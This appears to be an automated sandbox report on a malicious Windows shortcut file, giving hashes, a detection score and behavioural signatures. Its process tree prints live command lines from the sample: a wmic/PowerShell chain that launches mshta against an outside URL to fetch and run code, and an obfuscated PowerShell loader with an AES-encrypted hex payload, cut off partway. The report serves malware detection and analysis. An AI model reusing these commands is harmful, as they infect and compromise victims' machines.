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Windows
Analysis Report
GYede3Gwn0.lnk
Overview
General Information
Sample name: | GYede3Gwn0.lnkrenamed because original name is a hash value |
Original sample name: | 560d5d5e43b6d2ac1bdfb3ca4156e6d7.lnk |
Analysis ID: | 1582715 |
MD5: | 560d5d5e43b6d2ac1bdfb3ca4156e6d7 |
SHA1: | 51ac4281c6bab97eed94a529d901cd29cc15f36d |
SHA256: | 98a28a0d4d028d446811b620e519d258feb8dc4c494705f372ae0c7c22fa9804 |
Tags: | lnkuser-abuse_ch |
Infos: | |
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Windows shortcut file (LNK) starts blacklisted processes
AI detected suspicious sample
Contains functionality to create processes via WMI
Creates processes via WMI
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Process Created Via Wmic.EXE
Suspicious powershell command line found
Windows shortcut file (LNK) contains suspicious command line arguments
Binary contains a suspicious time stamp
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
- WMIC.exe (PID: 592 cmdline:
"C:\Window s\System32 \Wbem\wmic .exe" proc ess call c reate "pow ershell -w 1 powersh ell -Comma nd ('ms' + 'hta' + ' .exe ' + ' https://vi vidpulse.p ro/Seed/Ha voc')" MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - conhost.exe (PID: 7052 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 3560 cmdline:
powershell -w 1 powe rshell -Co mmand ('ms ' + 'hta' + '.exe ' + 'https:/ /vividpuls e.pro/Seed /Havoc') MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 4836 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 2100 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Command " mshta.exe https://vi vidpulse.p ro/Seed/Ha voc" MD5: 04029E121A0CFA5991749937DD22A1D9) - mshta.exe (PID: 4372 cmdline:
"C:\Window s\system32 \mshta.exe " https:// vividpulse .pro/Seed/ Havoc MD5: 0B4340ED812DC82CE636C00FA5C9BEF2) - powershell.exe (PID: 6892 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -w 1 -ep U nrestricte d -nop $dd g = '14D9E 273DBAAF2D 5627390C48 8D4081506B ACF9BB631E 3BFB99E894 02396A70A3 3B769921D8 E13B74BFE5 60E44E9EA8 0141571C81 44B00F8DFD 5B81256052 1E806858FA BDD53F92FF 1AF58107B7 3250972434 41EB3D0B85 776CB99DBB 0477D42CBA 9E543DE9D4 2C27F5C526 00E9295D68 4A3A713292 FD7590D5A9 D93A1C7A8C 449DA6B940 34EF5C0876 C666B9AF69 6CB1292861 6D0C543FDF 4FA01CD781 A0FD3E27C4 92347CD595 8399225168 576CBA1BCF 230F43AF64 32BD57AE6B 38C04EF2A3 70A6A7A921 7AF16A8216 F99E4E18DF 0865A002FC A560819251 C521CBC36B 7AF93394D9 C3B2BF598B CA8B7E7AF0 2167AA470C 45A1CCE0FC FCAF7F27AB D86382030E E615D8E88E 22FE52ED3B E7920C11B0 D69789B086 9401C0E48D D6B755FE43 2D03A5A497 E5F28EB5E5 E44FAFA0C5 05E6623DFE 084696F472 CA065C02C2 63ECEB0AFA D35CE69BFF 06ABA1F5B3 F0DDA7BA73 DD774EB332 B541081F51 6B8571C7AF 7673AF3AF6 6AAB18B80B 1E88EE0C74 84102BEA44 92A97B93C9 B25CD23C59 C0C19974EE 48483A82F0 A3DACE4B86 F4ACDF9EBD 8241CFE51C FACA8304C4 21249AC1ED 97B0130EE3 5D8024FC01 9004642A10 48544B0EFD 18F4AB3395 5150BB8788 98726DB416 D04B2F38F5 D64DC34581 D0D970265A 7861A50C84 E3ED14B3B8 0F48DC0B37 6FEF3EC778 1DB3ABF08D 8CA09272DF 1FDFB6A492 76F6B84EB8 5FD08DE40D CECA35D65C 7E4C6AF03B D30E2758EA 776531B78A C2A0CDB115 2B752476FC A117CF4983 6F1D3F580C 7F1EFCC3DF 72889A8471 9CD9CB0906 E4426AB5B5 ACB90919BB 40912D707A 2EDBFDF4CA 4749443347 91F9CDE974 23D874DEC3 2D3F51D82D 569C9BA9BE 15F8C8F45E E5E616DC1A CCF500C07D 6397B43D0B 7996460B90 38754E3BB2 0065A84C5A 0AB1BEA09C 08F010390D 6CF2903453 3915FF9B0C DA4E962B0C 9526FAEDC4 C925831513 24317EA1F4 1668164916 EF83A708D4 9D8D387F3A 6FC03B4C45 B55CC79163 3A903C424C C97F360459 144E8AAAD1 8846EDE332 AC9D0B0A5D A3942E80D3 0BC64A79D4 F1066CBD42 7AA9967B03 2410489BF5 8E552EABE4 E56233E9E6 17DE26D133 799620ABDC 2C8A7EE07F 161DA0B795 BA67A3C330 626C5EBCE6 DE7CBCBDE9 27A136CE05 FA8D0FA0B1 EF5B5F880F 8C60B77244 C5127D2CF5 185955BF12 936D162404 DCA8452A25 052A660077 FFA7A581AB 5764BFCAFF 5EA0E35B32 3E6B1212E7 6F58B5497A 0D17148E38 EB53E7C567 2804D7F7F5 586A4B9AF9 92E86A8D5D 91729BF163 73AB173737 6149212ECA 57D5C01799 429867A591 B0FC2F7459 3A7BBE6DBE 58B9B2F9AE CE6EEDE50D 4794DF2C26 135D7C1C53 695C710B56 DB6E7DC5F0 DC736A8F43 59B0423D09 AE8D87A4BB D3D064D552 CFC81D3BD7 BF66DAE7DB 9F7EBA5488 45AFEE275E 29141FBC37 007DC1C4C7 D51463745E D375448776 24C78476D7 5525459786 8556F';fun ction YoR ($pAJaWh){ return -sp lit ($pAJa Wh -replac e '..', '0 x$& ')};$Y aSAQhF = Y oR($ddg.Su bString(0, 2048));$x wh = [Syst em.Securit y.Cryptogr aphy.Aes]: :Create(); $xwh.Key = YoR($ddg. SubString( 2048));$xw h.IV = New -Object by te[] 16;$r RodUdSQ = $xwh.Creat eDecryptor